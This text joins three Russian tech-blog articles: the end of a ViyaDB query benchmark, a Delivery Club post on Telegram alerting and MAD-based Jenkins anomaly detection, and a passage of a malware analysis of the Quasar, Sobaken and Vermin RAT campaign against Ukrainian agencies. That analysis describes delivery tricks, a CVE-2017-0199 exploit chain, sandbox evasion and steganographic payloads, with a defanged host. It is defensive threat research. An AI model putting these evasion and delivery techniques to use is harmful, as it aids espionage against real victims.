Стартуем базу данных на всех машинах:
```
cd /opt/viyadb-1.0.0-beta-linux-x86_64
./bin/viyadb /etc/viyadb/store.json
```
### Загрузка данных
В базе данных присутствует базовая поддержка языка SQL. Запустим утилиту, позволяющую посылать SQL запросы в базу:
```
/opt/viyadb-1.0.0-beta-linux-x86_64/bin/vsql viyadb-host 5555
```
(`viyadb-host` — один из четырех хостов на которых мы установили ViyaDB)
1 миллиард событий лежит на S3 в формате TSV; для их загрузки запустим команду:
```
COPY events (
app_id, user_id, event_time, country, city, device_type, device_vendor, ad_network, campaign, site_id, event_type, event_name, organic, days_from_install, revenue, count
)
FROM 's3://viyadb-test/events/input/'
```
### Запросы
Справедливости ради, все последующие запросы были запущены во второй раз, чтобы не учитывать время их компиляции в общее время запроса.
1) Типы сообщений и их количество для заданного приложения:
```
ViyaDB> SELECT event_type,count FROM events WHERE app_id IN ('com.skype.raider', 'com.adobe.psmobile', 'com.dropbox.android', 'com.ego360.flatstomach') ORDER BY event_type DESC
event_type count
---------- -----
session 117927202
install 263444
inappevent 200466796
impression 58431
click 297
Time taken: 0.530 secs
```
2) Пять самых активных городов в штатах по количеству установок приложения:
```
ViyaDB> SELECT city,count FROM events WHERE app_id='com.dropbox.android' AND country='US' AND event_type='install' ORDER BY count DESC LIMIT 5;
city count
---- -----
Clinton 28
Farmington 20
Madison 18
Oxford 18
Highland Park 18
Time taken: 0.171 secs
```
3) Десять самых активных рекламных агенств по количеству установок, опять же:
```
ViyaDB> SELECT ad_network, count FROM events WHERE app_id='kik.android' AND event_type='install' AND ad_network <> '' ORDER BY count DESC LIMIT 10;
ad_network count
---------- -----
Twitter 1257
Facebook 1089
Google 904
jiva_network 96
yieldlove 79
i-movad 66
barons_media 57
cpmob 50
branovate 35
somimedia 34
Time taken: 0.089 secs
```
4) Ну и самое главное, ради чего и затевался весь этот сыр бор, это отчет о лояльности пользователей на основе индивидуальных сессий пользователей:
```
ViyaDB> SELECT ad_network, days_from_install, users FROM events WHERE app_id='kik.android' AND event_time BETWEEN '2015-01-01' AND '2015-01-31' AND event_type='session' AND ad_network IN('Facebook', 'Google', 'Twitter') AND days_from_install < 8 ORDER BY days_from_install, users DESC
ad_network days_from_install users
---------- ----------------- -----
Twitter 0 33
Google 0 20
Facebook 0 14
Twitter 1 31
Google 1 18
Facebook 1 13
Twitter 2 30
Google 2 17
Facebook 2 12
Twitter 3 29
Google 3 14
Facebook 3 11
Twitter 4 27
Google 4 13
Facebook 4 10
Twitter 5 26
Google 5 13
Facebook 5 10
Twitter 6 23
Google 6 12
Facebook 6 9
Twitter 7 22
Google 7 12
Facebook 7 9
Time taken: 0.033 secs
```
Заключение
----------
Иногда, решая какую-нибудь очень специфическую задачу, изобретение колеса может быть оправдано. Тестирование похожего решения показало, что можно сократить расходы примерно в четыре раза по сравнению с MemSQL, при этом не теряя ничего из функционала базы. Конечно, взять и перевести многомиллионный бизнес на базу данных, написанную одним человеком совершенно неоправданно на данном этапе, а поэтому контракт с MemSQL было решено не прерывать. Код, выложенный в Github — это проект, который был начат мной с нуля, уже после ухода из вышеуказанной компании. | https://habr.com/ru/post/350154/ | null | ru | null |
# Единая система мониторинга и оповещений BI: правда или вымысел?
Привет, Хабр! Мы, Юлия Лузганова [HiJulia](https://habr.com/ru/users/hijulia/) и Наталия Прудникова [balzaant](https://habr.com/ru/users/balzaant/), аналитики в команде Business Intelligence Delivery Club. Наш департамент аналитики стремительно вырос за последние полтора года, сейчас в нем 50 человек и десятки различных проектов. Мы в группе BI-аналитики помогаем пользователям получать чистые и актуальные данные. Например, количество заказов, работающие рестораны и время доставки заказов — одни из главных сущностей. Наша основная задача — своевременная и бесперебойная поставка данных в аналитическое хранилище и их подготовка к дальнейшему использованию. Для этого нам необходимо оперативно выявлять проблемы с загрузкой и обработкой информации.
В этой статье мы хотели бы рассказать о создании мониторинга и системы “near real-time” оповещений. С технической точки зрения реализация простая, а вот нервных клеток разработчиков DWH, BI и пользователей после внедрения сохранено бесконечно много.
Почему мы вообще потратили время на создание системы оповещений для команды аналитики? Все просто: нам хотелось меньше заниматься поддержкой, а точнее, мы стремились минимизировать ручной мониторинг загрузки данных, состояния базы и отправки отчетов, чтобы автоматически оповещать пользователей базы данных об изменениях, неоптимальных запросах или активно растущих в объемах таблицах.
В статье вы найдете заметки, которые помогут вам реализовать подобную систему, а также идеи для автоматических оповещений. Также расскажем, как используя логи задач и немного статистики, мы выявляем аномалии в работе процессов.
Сразу к делу, или Как все устроено
----------------------------------
Описанную систему оповещений можно переложить практически на любую инфраструктуру. Что касается стека проекта, то на момент написания статьи это база данных PostgreSQL, ClickHouse, Jenkins в качестве планировщика и Tableau как BI-инструмент. Сейчас мы переезжаем на новую инфраструктуру, в основе которой лежит Hadoop, и система оповещений будет развернута там с некоторыми изменениями. Мы обязательно расскажем об этом в блоге Delivery Club, поэтому подписывайтесь.
В качестве канала связи для оповещений мы выбрали Telegram, так как практика показала, что оперативнее всего команды реагируют именно там. Но также мы запускали оповещения в Slack, по почте, исследовали возможность реализации в корпоративном мессенджере Myteam — везде можно было внедрить это решение.
Схема реализации представлена на рисунке: приложение состоит из агентов, собирающих оповещения и сохраняющих их в управляющую таблицу DWH, и собственного Telegram-бота, отправляющего оповещения в чаты Telegram. Для более гибких настроек используется конфигурационный файл.
Агенты — это отдельные скрипты, которые собирают логи для отправки оповещений. Агенты написаны на SQL и Python. Результатом их работы являются записи оповещений в управляющей таблице в DWH. В строке, которую передает агент, есть все необходимое для отправки: сообщение, каналы, для которых оно предназначено, ключ сообщения (при его наличии, чтобы избежать повтора оповещения), флаг решения проблемы.
Управляющая таблица DWH — это место хранения логов для отправки, которые пишут агенты. Разработчик всегда может обратиться к этой таблице, чтобы понять природу оповещения: что за агент записал оповещение, какое пороговое значение превышено, кому предназначалось оповещение и во сколько оно было отправлено.
Telegram-бот на схеме — это самописный Python-скрипт с библиотекой python-telegram-bot для управления ботом. Каждые пять минут он обращается к таблице с логами и проверяет наличие новых строк-оповещений. Если новая строка найдена, то бот отправляет сообщение с указанными параметрами в строке. После отправки он проставляет в управляющей таблице флаг `is_sent = 1`.
**Как сделать своего бота для отправки сообщений**
1. В Telegram зарегистрируйте нового бота, отправив в `@BotFather` команду `/newbot`. Далее придумайте название бота и уникальный username. В результате вы получите секретный токен для управления через API.
2. Создайте группу в Telegram, добавьте в участники бота и команду. В настройках канала сделайте его приватным, а всем участникам ограничьте права на отправку сообщений в эту группу. Важно оставить боту возможность отправлять сообщения.
3. С помощью команды `https://api.telegram.org/bot<ваш token>h/getUpdates` узнайте `chat_id` для отправки сообщений.
4. Отправка сообщений с помощью библиотеки python-telegram-bot упрощенно выглядит так:
```
import telegram
bot = telegram.Bot(token)
bot.send_message(chat_id, message)
```
где `chat_id` — это номер чата из пункта 3, а `message` — тело сообщения.
Полезные ссылки: [Telegram Bot API](https://core.telegram.org/bots/api), [python-telegram-bot](https://pypi.org/project/python-telegram-bot/).
Как правило, единый чат для оповещений на 100+ человек — это нерабочий вариант с точки зрения потребителей этих оповещений. В какой-то момент сообщений становится слишком много, пользователи не читают канал или вообще архивируют его. Поэтому мы сделали сегментированные каналы для различных групп пользователей: разработчиков, аналитиков, продуктовой команды.
При реализации мы поняли, что нам нужен более гибкий инструмент конфигурации. Например, чтобы отключать оповещения для конкретной задачи или вручную изменить владельца объекта для агента. В качестве быстрого решения могут быть предложены Google-таблицы. Использовать их необязательно и при необходимости можно заменить на любой пользовательский интерфейс, интегрированный с хранилищем данных.
Типы оповещений от агентов
--------------------------
#### Пользовательские процессы в базе данных
**Оповещение о недоступности данных к ожидаемому времени.** Мы ушли от ручного оповещения. Если к определенному с бизнесом времени данные загружены не полностью или есть ошибки в расчетах, то агент автоматически передаст сообщение для канала аналитики. После загрузки всех данных агент также проинформирует об этом.
**Оповещение о росте размера таблиц в DWH.** Структура команд подразумевает наличие доступа в DWH у всех членов команды аналитики. Есть отдельная схема-песочница, где каждый может создавать любые сущности и производить вычисления. Мы создали агента, который следит за размерами таблиц на SSD и оповещает владельцев слишком больших таблиц. В этом случае пороговые значения установлены по своему усмотрению.
**Оповещение о блокирующих процессах DWH.** Опытным путем мы обнаружили, что нередко пользователи могут заблокировать своим запросом другие процессы. В некоторых случаях это критично, так как влияет на обновление данных. Агент отслеживает блокировки длительнее 30 минут и информирует об этом пользователей.
**Оповещения о долгих пользовательских запросах в DWH.** Мы установили такие пороговые значения: в дневное время пользовательский SQL-запрос не должен превышать 2 часа, а в ночное время — 30 минут. Если запрос длится дольше, то агент его принудительно остановит и оповестит владельца запроса.
#### Информационный блок
**Оповещения об изменениях в DWH.** Агент записывает в хранилище информацию обо всех изменениях: интегрировании новых источников данных, удалении или добавлении таблиц и колонок.
#### Продуктовый блок
**Оповещения об аномалиях в продукте.** Агент отлавливает аномалии в приложении под iOS и Android в реальном времени с помощью составных KPI. Примеры KPI: доля пользователей, обратившихся в поддержку после создания заказа за последний час, или доля пустых выдач поиска за последний час. Эти оповещения помогают команде в кратчайшие сроки реагировать на потенциальные неполадки.
#### Эксплуатация и мониторинг
**Оповещения о неуспешном завершении задач.** Если процесс завершился со статусом “failure” или “aborted”, то соответствующая запись будет передана в управляющую таблицу для последующей отправки оповещения. Агент собирает логи задач через API Jenkins.
**Оповещения о неполноте данных.** Агент отвечает за проверку полноты ключевых данных в хранилище. Заранее определяются KPI для каждой области, и если они не соответствуют пороговым значениям, то сообщение будет передано в канал BI. В первую очередь, это сигнал, что данные загружены не в полном объеме или имеются логические ошибки в расчетах.
**Оповещение о свободном месте в DWH.** Так как бизнес Delivery Club быстро растет и расширяется, объем данных значительно увеличивается ежедневно. На текущий момент мы в процессе переезда на новую инфраструктуру, но пока требуется мониторинг свободного места. Оповещение предусмотрены, если на HDD или SSD значительно сократилось место и требуется вовлечение команды BI.
**Оповещения об аномальном времени выполнения задач.** Если задача работает дольше обычного, то отправляется сообщение на команду BI. Агент обращается к API Jenkins, чтобы получить текущие состояния работающих процессов, затем разработанная модель обрабатывает полученные данные на предмет аномалий.
Модель по выявлению аномалий в работе процессов — это нетривиальная задача, ведь продолжительность работы каждой задачи зависит от множества факторов и может варьироваться ежедневно. Далее расскажем, как мы реализовали подобную модель, динамически рассчитывая допустимый интервал для каждого процесса.
Ловим аномалии на лету
----------------------
Ежедневно наш планировщик Jenkins запускает около 700 различных задач. За сутки выполняется более 10 тысяч сборок (“сборкой” в контексте статьи мы называем каждый отдельный запуск задачи планировщиком). Конечно, в его интерфейсе есть инструменты, позволяющие мониторить процесс сборки задач без доработок, но для этого нужно посадить отдельного оператора Jenkins (и не одного, ведь мониторинг нам нужен круглосуточно).
Мы хотели получить инструмент, позволяющий автоматически отслеживать все сбои и аномалии в наших процессах с минимальным участием человека. На рынке есть готовые решения для мониторинга процессов Jenkins (например, [Datadog plugin](https://www.datadoghq.com/blog/monitor-jenkins-datadog/#get-insight-into-jenkins-queue)), но они в основном являются платными и не покрывают всех необходимых для нас задач, в том числе по настройке оповещений. Кроме того, у нас уже были наработки по получению данных из Jenkins. Поэтому решили создать собственный мониторинг на стороне аналитического DWH.
С чего все началось
-------------------
Ранее мы разработали процесс регулярной загрузки через Python API Jenkins в DWH следующих данных:
* список существующих задач;
* информацию об изменениях в конфигурациях задач;
* время запуска и статус завершения всех сборок.
Эта информация собирается в нашем хранилище и используется для анализа и разрешения инцидентов.
Выше описано, как мы наладили мониторинг результатов сборок и стали узнавать о падениях в реальном времени с помощью системы оповещений в нашем Telegram-канале. Это сильно ускорило реагирование на проблемы, но подходит только для завершившихся сборок. А ведь часто возникают ситуации, когда нам нужно узнавать о возникших проблемах еще до того, как задача упадет:
* **Блокировка процессов.** Данные загружаются в DWH из десятка сервисов с различной частотой и расписанием. Параллельно собираются слои DWH и витрины данных. В итоге мы получаем много одновременных процессов, и часть из них конкурирует между собой. Немного не уследили за расписанием, — и задачи уже блокируют другу друга, таблицы не формируются вовремя, а пользователи данных грустят.
* **Зависания задач.** Сбои в подключениях, проблемы в источниках данных — и в результате задача может зависнуть на неопределенное время. Мы не получаем сообщение о проблеме (ведь процесс не упал). А данных нет.
* **Постоянное обновление задач.** Запуск новых или изменения в существующих задачах иногда приводят к резкому замедлению выполнения других процессов. Конечно, мы стараемся отлавливать такие проблемы на этапе проверки кода, но иногда не удается сразу учесть влияние изменений на все остальные задачи. Особенно если изменения касаются настроек задачи, например, расписания сборок.
Если вовремя не отслеживать подобные проблемы, то они накапливаются, приводят к серьезным сбоям и невозможности оперативно получить критически важные данные. Можно было бы решить вопрос, поставив для всех задач общее ограничение по времени работы, например, три часа. Но такой подход выглядит сомнительным, потому что с учетом роста обрабатываемых данных маловероятно подобрать разумное единое ограничение для всех задач и актуализировать его со временем. В перспективе это создаст много ручной работы и может подвести в самый неподходящий момент.
В итоге мы пришли к динамическому расчету допустимой длительности выполнения каждой задачи. Мы регулярно в реальном времени отслеживаем время работы запущенных сборок и оповещаем в случае превышения верхней границы. Как мы это реализовали и о какие подводные камни споткнулись, читайте дальше.
Подход к решению
----------------
Мы определились, что модуль мониторинга продолжительности сборок должен быть прост в создании и поддержке. С учетом текущего стека и экспертизы решили разрабатывать на Python + PostgreSQL. Для выявления аномалий в длительности задач использовали [медианное абсолютное отклонение](https://en.wikipedia.org/wiki/Median_absolute_deviation) (MAD). Этот подход аналогичен методу [трех сигм](https://encyclopediaofmath.org/wiki/Three-sigma_rule), но последний предполагает нормальное распределение данных, и в результате нам пришлось от него отказаться. Кроме того, нам требовалась устойчивость к выбросам, поэтому остановились на использовании медианы. Такой подход к выявлению аномалий подробно описан в статье [Leys, C., et al., Detecting outliers: Do not use standard deviation around the mean, use absolute deviation around the median](http://dx.doi.org/10.1016/j.jesp.2013.03.013).
**Подробнее про MAD**
Медианное абсолютное отклонение — это устойчивая мера рассеяния данных. Получить ее значение можно рассчитав медиану выборки и вычислив расхождения между каждым значением и медианой. MAD является медианой полученных расхождений:
MAD похоже на стандартное отклонение, но поскольку медиана меньше зависит от крайних значений, MAD более устойчиво к выбросам.
Как работает модуль
-------------------
**1. Расчет интервала**
**Выделили список задач, которые попадут под мониторинг.**
Для начала мы включили все критически важные процессы загрузки данных, без которых встанет работа отдела, и исключили технические задачи, которые не влияют на остальные процессы. А остальные отфильтровали по параметрам:
* количество успешных сборок больше 30 — для отсечения новых задач, у которых накоплено недостаточно информации для корректного расчета;
* среднее время работы успешных сборок больше одной минуты — потому что задачи с очень маленьким временем работы слишком чувствительны;
* последний успешный запуск был в течение 90 предыдущих дней — убрали неактуальные задачи.
Далее для каждой задачи мы рассматриваем заданное число последних успешных сборок. Это число управляется параметром `job_quantity` (по дефолту берем его равным 30). Вычисляем медиану продолжительности выбранных сборок и рассчитываем для каждой сборки отклонение медианы от абсолютного значения. После этого мы вычисляем медиану всех отклонений и получаем показатель MAD. Таким образом, для половины всех сборок продолжительность должна находиться в пределах одного MAD от медианы в обоих направлениях. Для анализа выбросов сборок устанавливается коэффициент `outlier_mult`, который определяет сколько MAD от медианы отступить для границ допустимого интервала. Коэффициент `outlier_mult` обычно берут равным 2, 2.5, 3 в зависимости от необходимой точности.
В нашей системе параметры `job_quantity` и `outlier_mult` управляются через конфиг с учетом специфики задачи, времени работы и частоты запусков. Пример расчета верхней границы допустимого интервала для одной задачи на основе тридцати сборок показан ниже.
```
# Получаем датафрейм с информацией о сборках из DWH
import pandas as pd
from sqlalchemy import create_engine, text
job_quantity = 30
psql_engine = create_engine('адрес базы')
query = '''sql запрос к базе, получающий данные о времени запуска и продолжительности тридцати последних сборок'''
job_stata = pd.read_sql_query(text(query), con=psql_engine)
# Вычисление медианы продолжительности сборок
med_duration = job_stata['s_build_duration'].median(axis = 0, skipna = True)
# Вычисление отклонений реальных значений от медианы
job_stata['dev_median'] = abs(job_stata['s_build_duration'] - med_duration)
# Расчет медианы отклонений
med_deviation = job_stata['dev_median'].median()
# Вычисление верхней границы допустимого интервала
upper_boundary = float(med_duration + (med_deviation * outlier_mult))
```
Рассчитанные пороговые значения записываются в DWH для дальнейших проверок работающих сборок. Границы интервалов регулярно актуализируются в зависимости от частоты запуска. Например, для задач, которые собираются один-два раза в сутки, пересчет границ происходит каждый день, а для задач, собирающихся раз в час и чаще, пересчет выполняется каждый час.
**2. Анализ запущенных задач**
К уже имеющимся данным из Jenkins мы добавили определение запущенных сборок в данный момент. Каждые 5 минут при помощи методов `get_running_builds` и `get_build_info` из питоновской библиотеки `python-jenkins` мы получаем информацию о запущенных на данный момент сборках и их длительности, сравнивая его с допустимыми интервалами. Если текущая продолжительность сборки превышает верхнюю границу, то записываем информацию в DWH и исключаем сборку из дальнейших проверок. То есть по каждому инциденту в DWH сохраняем только одну запись, чтобы не дублировать оповещения для мониторинга.
**3. Оповещение о проблемах**
После выявления аномально долгих сборок необходимо оповестить команду о наличии проблемы. Следом за мониторингом запускается процесс, который проверяет наличие новых записей об аномальных сборках в DWH и отправляет в Telegram-канал уведомление с названием задачи и ссылкой на сборку в Jenkins для проверки.
Изначально мы понимали, что на первых порах нам все равно потребуется ручная проверка каждого случая оповещений. Тем не менее запуск модуля существенно ускорил реагирование на проблемы и позволил выявить несколько проблем в начальной стадии: мы смогли отловить и блокировки процессов, и зависания источников данных.
#### Какие возникают проблемы
На текущий момент основная проблема модуля — ложные срабатывания. В основном эта проблема актуальна для очень чувствительных задач, которые собираются, например, 0,5 минуты. Для таких задач отклонение в пару секунд будет существенно. Здесь помогает увеличение параметра `outlier_mult`. Но для некоторых задач мы решили ограничить применение модуля и задали им фиксированную длительность. В дальнейшем планируем дорабатывать систему для анализа таких ситуаций.
Помимо этого для некоторых задач со временем возникают особенности распределения продолжительности сборок: тенденция к росту с увеличением количества обрабатываемых данных или сезонность. Под сезонностью мы понимаем зависимость времени работы сборки, например, от дня недели, поскольку в выходные требуется обработать значительно больше записей, чем в будни. В таких ситуациях использование метода MAD будет не очень удачным и требуются дополнительные меры для корректной оценки выбросов. Для сезонных задач имеет смысл рассчитывать интервалы за соответствующие периоды (например, оценивать сборки отдельно за понедельник, вторник и т.д.). Минус такого подхода в том, что он предполагает достаточно большую историю наблюдений. Для применения MAD к задачам с тенденцией роста или уменьшения продолжительности времени сборок можно использовать один из методов сглаживания (например, [скользящее среднее](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%BE%D0%BB%D1%8C%D0%B7%D1%8F%D1%89%D0%B0%D1%8F_%D1%81%D1%80%D0%B5%D0%B4%D0%BD%D1%8F%D1%8F) или [метод Хольта](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%A5%D0%BE%D0%BB%D1%8C%D1%82%D0%B0)).
Немного о наших планах
----------------------
Запуск модулей помог нам ускорить получение данных в хранилище и сократить количество инцидентов с блокировками и зависшими процессами. Нам пока не удалось до конца устранить ложные оповещения об аномально долгом времени работы. В дальнейшем мы планируем развивать подход к выявлению аномалий в ситуациях сезонности или тенденции роста продолжительности работы, а также для слишком чувствительных задач. В том числе мы будем тестировать другие модели выявления аномалий в подобных задачах. Задача определения тренда также важна, так как позволит автоматически выявлять случаи, требующие оптимизации.
После усовершенствования подхода к распознаванию аномалий и устранения ложных оповещений мы планируем доработать модуль для автоматической остановки аномально долгих сборок через API Jenkins. Это поможет нам еще больше ускорить загрузку данных в хранилище.
Также мы планируем доработать мониторинг для распознавания сборок, которые завершаются раньше нижней границы допустимого интервала. Слишком низкая продолжительность может быть сигналом, что не все данные были доступны на момент запуска сборки или не отработали некоторые шаги в задаче.
В качестве идеи для последующего развития системы оповещений можно рассмотреть оповещения, связанные с BI-системой. А именно, управление лицензиями, появление новых дашбордов и источников данных.
Учитывая, что наш отдел сейчас активно переезжает на новую инфраструктуру, в основе которой будет Hadoop, Vertica и Airflow, в ней тоже потребуется прорабатывать системы мониторинга и оповещений и адаптировать имеющиеся подходы под новый стек. | https://habr.com/ru/post/574384/ | null | ru | null |
# Quasar, Sobaken и Vermin: раскрываем детали действующей кибершпионской кампании
С помощью инструментов удаленного доступа Quasar, Sobaken и Vermin киберпреступники следят за украинскими правительственными учреждениями и крадут данные из их систем. Эта кибергруппа была впервые упомянута в отчете в январе 2018 года, привлекла внимание ESET в середине 2017 года и сегодня продолжает разработку своего ПО.
В данном отчете мы раскрываем детали нынешней кампании, предоставим информацию о вредоносных программах и опишем методы, которые атакующие используют для распространения, таргетирования и ухода от обнаружения.
Профиль атакующих
-----------------
Похоже, что данная группа не обладает выдающимися техническими познаниями или доступом к уязвимостям нулевого дня. Тем не менее, она успешно применяет социальную инженерию для распространения малвари и скрытной работы на протяжении длительного времени.
Нам удалось отследить ее работу вплоть до октября 2015 года, но не исключено, что группа начала деятельность значительно раньше.
Атакующие используют три модификации .NET-малвари: Quasar RAT (Remote Administration Tool), Sobaken (производный RAT от Quasar) и кастомный RAT Vermin. Инструменты одновременно использовались на одних и тех же целевых объектах, они частично делят инфраструктуру и подключаются к одним и тем же C&C серверам. Возможным объяснением использования трех параллельных модификаций является тот факт, что они разрабатывались независимо друг от друга.
Жертвы
------
Вредоносное ПО используется в атаках на украинские правительственные учреждения. По данным телеметрии ESET, зафиксированы сотни жертв в различных организациях и несколько сотен исполняемых файлов, относящихся к данной кампании.
Хронология
----------
На рисунке 1 представлены основные события кампании в хронологическом порядке.
*Рисунок 1. Хронология кампаний*
Распространение
---------------
По данным нашей телеметрии, в качестве первичного канала распространения трех RAT злоумышленники используют электронную почту. Они применяют социальную инженерию, чтобы убедить жертв скачать и запустить малварь.
В большинстве случаев имена файлов написаны на украинском языке и имеют отношения к работе жертв. Вот примеры таких файлов:
* «ІНСТРУКЦІЯ з організації забезпечення військовослужбовців Збройних Сил України та членів їх сімей» («Приказ об обеспечении безопасности военнослужащих украинской армии и членов их семей»)
* «новий проекту наказу, призначення перевірки вилучення» («Новый проект приказа проверки изъятия»)
* «Відділення забезпечення Дон ОВК Збільшення ліміту» («Отдел снабжения Дон ОВК. Увеличение кредитного лимита»)
Помимо базовых приемов социальной инженерии (привлечение внимания к вложению), атакующие используют три технических метода. Вероятно, это еще больше повышает эффективность кампаний.
**Метод №1**: приложения электронной почты используют символ Unicode [right-to-left override](https://redcanary.com/blog/right-to-left-override/), меняющий направление чтения символов, для сокрытия настоящего расширения. На самом деле это исполняемые файлы, использующие иконки Word, Excel, PowerPoint или Acrobat Reader, чтобы не вызывать подозрения.
Пример имени файла: как показано на рисунке 2 «Перевезення твердого палива (дров) для забезпечення опалювання\_<>xcod scr» («Транспортировка дров для обеспечения отоплением») будет выглядеть для невнимательных пользователей как файл .DOCX.
*Рисунок 2. Исполняемый файл, маскирующийся под документ Word*
**Метод №2**: приложения электронной почты, маскирующиеся под самораспаковывающиеся архивы RAR.
Пример: электронное письмо с приложением «Наказ\_МОУ\_Додатки\_до\_Iнструкцii\_440\_ост.rar» («Приказ Министерства Обороны, Приложения к инструкции №440»), как показано на рисунке 3. Внутри архива RAR есть исполняемый файл с названием «Наказ\_МОУ\_Додатки\_до\_Iнструкцii\_440\_ост.exe», использующий иконку RAR SFX.
Предположительно, жертвы запускают этот файл, ожидая дальнейшей распаковки содержимого самораспаковывающегося архива, но тем самым невольно запускают вредоносный исполняемый файл.
**Метод №3**: документ Word + эксплойт CVE-2017-0199. Эта уязвимость применяется, когда жертва открывает специально созданный документ Word. Процесс работы Word передает HTTP-запрос файла HTA, содержащего вредоносный скрипт, расположенный на удаленном сервере. Затем вредоносный скрипт запускается `mshta.exe`. Первая публичная информация об этой уязвимости [появилась в апреле 2017 года](https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html), и Microsoft закрыл ее, выпустив обновление безопасности для всех версий Windows и Office.
Согласно телеметрии ESET, эти злоумышленники начали использовать данный метод в мае 2017 года. Атакующие использовали hxxp://chip-tuning lg[ ]ua/ для доставки файлов HTA и финальной полезной нагрузки.
*Рисунок 3. Файл, замаскированный под самораспаковывающийся архив RAR. Данные о версии и копирайт подсказывают, что это фейк*
Установка и персистентность
---------------------------
Процедура установки одинакова для трех модификаций малвари, используемых данной группой. Дроппер сбрасывает файлы полезной нагрузки (Vermin, Quasar или Sobaken) в папку `%APPDATA%`, в подпапку с названием легитимной компании (обычно это Adobe, Intel или Microsoft). Затем, как показано на рисунке 4, он создает задание в планировщике для запуска компонента каждые 10 минут для обеспечения персистентности. Некоторые версии также применяют метод, состоящий в использовании функционала быстрого вызова панели управления [Windows Control Panel](https://en.wikipedia.org/wiki/Windows_Master_Control_Panel_shortcut), чтобы сделать свои папки недоступными из Windows Explorer. Эти папки при нажатии в Windows Explorer не будут открыты, вместо этого открывается страница «Все задачи».
*Рисунок 4. Задача, запускающая вредоносный компонент каждые 10 минут*
Примеры:
`C:\Users\Admin\AppData\Roaming\Microsoft\Proof\Settings.{ED7BA470-8E54-465E-825C- 99712043E01C}\TransactionBroker32.exe
C:\Users\Admin\AppData\Roaming\Adobe\SLStore\Setting.{ED7BA470-8E54-465E-825C- 99712043E01C}\AdobeSLService.exe`
Таргетирование
--------------
Атакующие используют достаточно много приемов, чтобы малварь работала только на целевых машинах. Особенно тщательно они стараются избежать автоматизированных систем анализа и песочниц.
**Метод №1**: проверка раскладки клавиатуры в Windows
Малварь проверяет, установлена ли русская или украинская раскладка клавиатуры. Если нет, ее работа немедленно прекращается.
**Метод №2**: Проверка IP-адреса
Малварь получает IP-адрес зараженного компьютера через запрос к легитимному сервису
Ipinfo.io/json. Работа будет завершена, если IP-адрес не обнаруживается на территории Украины или России, либо если он зарегистрирован на одного из нескольких выбранных поставщиков облачных услуг или разработчиков антивирусного ПО. Код, выполняющий проверку, показан в результатах дизассемблирования на рисунках 5 и 6.
*Рисунок 5. Код, выполняющий проверку геолокации IP-адреса зараженной машины*
*Рисунок 6. Код, сверяющий IP-адрес со списком поставщиков облачных услуг и антивирусных вендоров*
**Метод №3**: проверка эмуляции сетевой среды
Системы автоматизированного анализа часто используют такие инструменты как Fakenet-NG, где коммуникация DNS/HTTP завершается успешно и выдает какой-либо результат. Авторы малвари пытаются определить такие системы через генерацию случайного имени/URL сайта и проверяют отсутствие подключения к данному URL (на рисунке 7), как это было бы на реальной системе.
*Рисунок 7. Код, генерирующий случайный URL и запускающий загрузку*
**Метод №4**: проверка определенного имени пользователя
Малварь не запускается под аккаунтом с именем пользователя, типичным для автоматизированных систем анализа вредоносного ПО, как показано на рисунке 8.
*Рисунок 8. Сверка текущего имени пользователя со списком известных систем анализа вредоносного ПО*
Применение стеганографии
------------------------
С середины 2017 года атакующие используют стеганографию, скрывая вредоносные компоненты в изображениях на бесплатных хостингах saveshot.net и ibb.co.
Стеганография – это наука, позволяющая скрывать данные «у всех на виду», внутри другой, несекретной информации. В нашем случае вредоносный файл EXE был зашифрован и спрятан в файл JPEG, как на рисунке 9. Малварь скачивает и декодирует JPEG, извлекает скрытые данные, расшифровывает из этих данных файл EXE и запускает его.
*Рисунок 9. Пример изображения JPEG, используемого для сокрытия доставляемого вредоносного компонента (размер изменен, а компонент удален)*
Процесс расшифровки достаточно сложен и может быть описан следующим образом:
1. Скачивание файла JPEG с адреса URL, жестко прописанного в бинарнике.
2. Брутфорс пароля из восьми цифр через вычисление его хеша и сверка с хешем, жестко закодированным в скачанном бинарном файле. Этот шаг интенсивно использует ЦП, для его завершения на обычном компьютере требуется больше 10 минут. Скорее всего, это еще одна мера для противодействия автоматизированным системам анализа вредоносного ПО.
3. Обработка файла JPEG и извлечение скрытых в нем данных, как видно из дизассемблированного кода на рисунках 10 и 11. Алгоритм, используемый малварью, очень похож на тот, что применяется в JSteg, одном из старейших и простейших алгоритмов стеганографии для файлов JPEG. Он прячет данные в LSB (самый младший двоичный разряд) коэффициентов дискретного косинусного преобразования файла JPEG. Такие скрытые данные обычно не влияют на изображение видимым для невооруженного глаза образом, но их наличие легко обнаруживают специализированные алгоритмы. Однако данный алгоритм стеганографии очень легко внедрить, что, вероятно, стало причиной его выбора авторами малвари.
4. Извлечение данных и их распаковка с помощью GZip.
5. Расшифровка распакованных данных по AES с паролем, полученным в шаге №2.
6. Декодирование дешифрованных данных по Base64.
7. Запись файла EXE на диск и исполнение.
В итоге авторы данной угрозы оставили идею использования стеганографии и начали применять hxxp://chip-tuning lg[ ]ua для передачи незашифрованных исполняемых файлов.
*Рисунок 10. Код стеганографии внутри декодера JPEG*
*Рисунок 11. Код стеганографии внутри декодера JPEG*
Модификации малвари
-------------------
Эти злоумышленники используют в атаках три модификации малвари. Ниже мы приводим краткий обзор каждой и сконцентрируемся на описании характерных особенностей.
### Quasar
Quasar – RAT с открытым исходным кодом, доступным на GitHub. Мы видели несколько кампаний, в которых данная кибергруппа применяла бинарные файлы Quasar RAT. Первая известная нам кампания длилась с октября 2015 по апрель 2016 года. Следующая прошла в феврале 2017 года. Артефакты компиляции показывают путь к PDB `n:\projects\Viral\baybak_files_only\QRClient\QuasarRAT-master\Library\obj\ Release\Library.pdb`
Другая кампания с Quasar RAT, использующая командные серверы этих злоумышленников (mailukr.net), реализована в июле – сентябре 2017 года. Атакующие применили старую версию Quasar RAT под названием “xRAT 2.0 RELEASE3”. Артефакты компиляции в дроппере показывают путь к PDB `N:\shtorm\WinRARArchive\ obj\Release\WinRAR.pdb`
### Sobaken
Sobaken – значительно модифицированная версия Quasar RAT. Если сравнить структуры программы Quasar и Sobaken, можно наблюдать много общего – см. рисунок 12.
Авторы Sobaken сократили функционал малвари, поэтому исполняемый файл стал меньше и его проще скрыть. Они также добавили приемы для обхода песочницы и другие, описанные выше.
*Рисунок 12. Эволюция Sobaken. Слева Quasar RAT v1.3, посередине и справа – две версии Sobaken*
### Vermin
